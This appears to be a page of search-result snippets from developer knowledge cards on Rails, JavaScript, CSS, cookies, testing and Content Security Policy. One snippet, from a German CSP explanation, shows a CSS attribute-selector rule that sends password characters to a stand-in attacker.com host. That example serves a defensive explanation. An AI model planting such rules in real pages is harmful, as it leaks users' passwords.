...Add <%= csrf_meta_tag %> into your layout's head Put this into a JavaScript file that is always loaded (like your application.js -- or another file you add to the javascript...
Add <%= csrf_meta_tag %> into your layout's head Put this into a JavaScript file that is always loaded (like your application.js -- or another file you add to the...
For websites that don't do JavaScript rendering on the client, it's best practice to put script tags at the bottom of the HTML. This way, the page can...
...the page. This can be done with helpers. How to implement Add the attached javascript_helper to your app. Move your javascript_include_tags out of to the end of...
- uses: ./.github/actions/setup-ruby - name: Run RuboCop run: bundle exec rubocop --color eslint: name: Lint JavaScript Code runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup-node - name: Run EsLint
...attribute will become standard soon. Feel free to use to feel future-proof. On JavaScript file objects, webkitRelativePath is supported similarly to webkitdirectory in HTML. As a fallback for older...
...parser will revert the unicode escape sequence into a character. Escaping high ASCII in JavaScript function escapeHighASCII(string) { let unicodeEscape = (char) => "\\u" + char.charCodeAt(0).toString(16).padStart(4, '0')
...or :first-child may replace a modifier. Media queries may replace a modifier that JavaScript would otherwise set. Exercises Deskbot Re-implement the look of this screen from Deskbot, the...
...blocks exist, or what they contain, is not. You don't need responsive behavior, JavaScript, or hover and animation polish. For rows and columns, use the Flexbox basics from CSS...
...a same_site option, i.e. cookies[:my_cookie] = { value: 'my-value', same_site: 'None' } Javascript (using js-cookie) Make sure you're using at least 2.2.0. Set a cookie with...
...concept, like a Ruby class attribute (snake_case) that is also exposed to the JavaScript world (camelCase). # This query matches "foobar", "foo-bar" and "foo_bar" # The query is case...
...event on window. It will be emitted for all uncaught errors in the current JavaScript VM: window.addEventListener('error', function(event) { console.log("Got an uncaught error: ", event.error) }) Tip Testing tools like...
...expressions — RubyGuides; the friendlier walkthrough ▶️ Learn regular expressions in 20 minutes — Web Dev Simplified; JavaScript syntax, same concepts 🎮 RegexOne — interactive lessons 🎮 Rubular and regex101 — try an expression against sample text...
...feeds works differently in every language 📄 Testing regular expressions visually 📄 Using regular expressions in JavaScript — the differences you'll meet in the browser ReDoS ▶️ Vortrag: ReDoS-Angriffe — internal talk (in...
...the matchers fail. This helps when browser state changes between expectations, e.g. by async JavaScript that mutates the DOM tree while you're making multiple observations. Custom matchers must be...
...sometimes your application will explode with an error outside your control. Two examples: A JavaScript library references a source map in its build, but forgets to package the source map...
...aber die wichtigsten sind: Quellen: default-src: Fallback für alles weitere *-src script-src: JavaScript style-src: CSS font-src: Fonts img-src: Bilder object-src: Quellen für Plugins (z.B...
input[type="password"][value$="a"] { background-image: url("http://attacker.com/passwords-ends-with/a"); } Problem: Manche Javascript-Libraries (Editoren etc) verwenden Inline-Styles. object-src Auch wichtig. Wenn nicht eingeschränkt, können...
timemachine.js allows you to mock the client's time by monkey-patching into Javascript core classes. We use timemachine.js in combination with the Timecop gem to synchronize the local...
...we see that Timecop is mocking the time: - if defined?(Timecop) && Timecop.top_stack_item = javascript_include_tag "timemachine.js" :javascript timemachine.config({ dateString: #{Time.now.to_json}, tick: true }) Warning timemachine.js will mock the...
...See MDN's full list of options. Also note that browsers will not execute Javascript for some combinations of modifiers. This was extracted from Unpoly...
...disabled text field is not possible (copy&paste does not work) Firefox cancels any JavaScript events at a fieldset[disabled] readonly fields post to the server get focus
When using the asset pipeline your assets (images, javascripts, stylesheets, fonts) live in folders inside app: app/assets/fonts app/assets/images app/assets/javascripts app/assets/stylesheets With the asset pipeline, you can use the...
...power of Ruby to generate assets. E.g. you can have ERB tags in your Javascript. Or you can have an ERB template which generates Haml which generates HTML. You can...
...knowing what to look for. When coming from jQuery, also see the card on JavaScript without jQuery. This card includes a link to You Don't Need jQuery, which summarizes...
...most of the alternatives in native Javascript implementation to jQuery methods...
...have many elements on our page. Clicking them should open a modal dialog. Vanilla JavaScript document.addEventListener('click', function(event) { if (event.target.closest('.dialog-link')) { // Open dialog } }); See Event delegation without jQuery...
Collection of useful tools in the Chrome JavaScript console. Make the whole page editable This is not special to Chrome, but still a clever thing: document.body.contentEditable=true Taking time
...leading to validation errors and thus user confusion. We can fix all that with JavaScript: const element = document.querySelector('#your-input') // Number inputs allow incrementing/decrementing with arrow keys, and support exponential...
...concurrency controls, a dashboard, and jobs enqueued in the same transaction as your data JavaScript build Propshaft, import maps, "no build" esbuild No-build means no bundling, no Sass, no...
...single-line texts. If you want to truncate tests across multiple lines, use a JavaScript solution like Superclamp. There is also -webkit-line-clamp which works only on Chrome.
...jsx files. Alternatively add '.js': 'jsx' to the loader map in esbuild.config.js, so every JavaScript file may contain JSX. Add jsx: 'automatic' to the esbuild options, so you don't...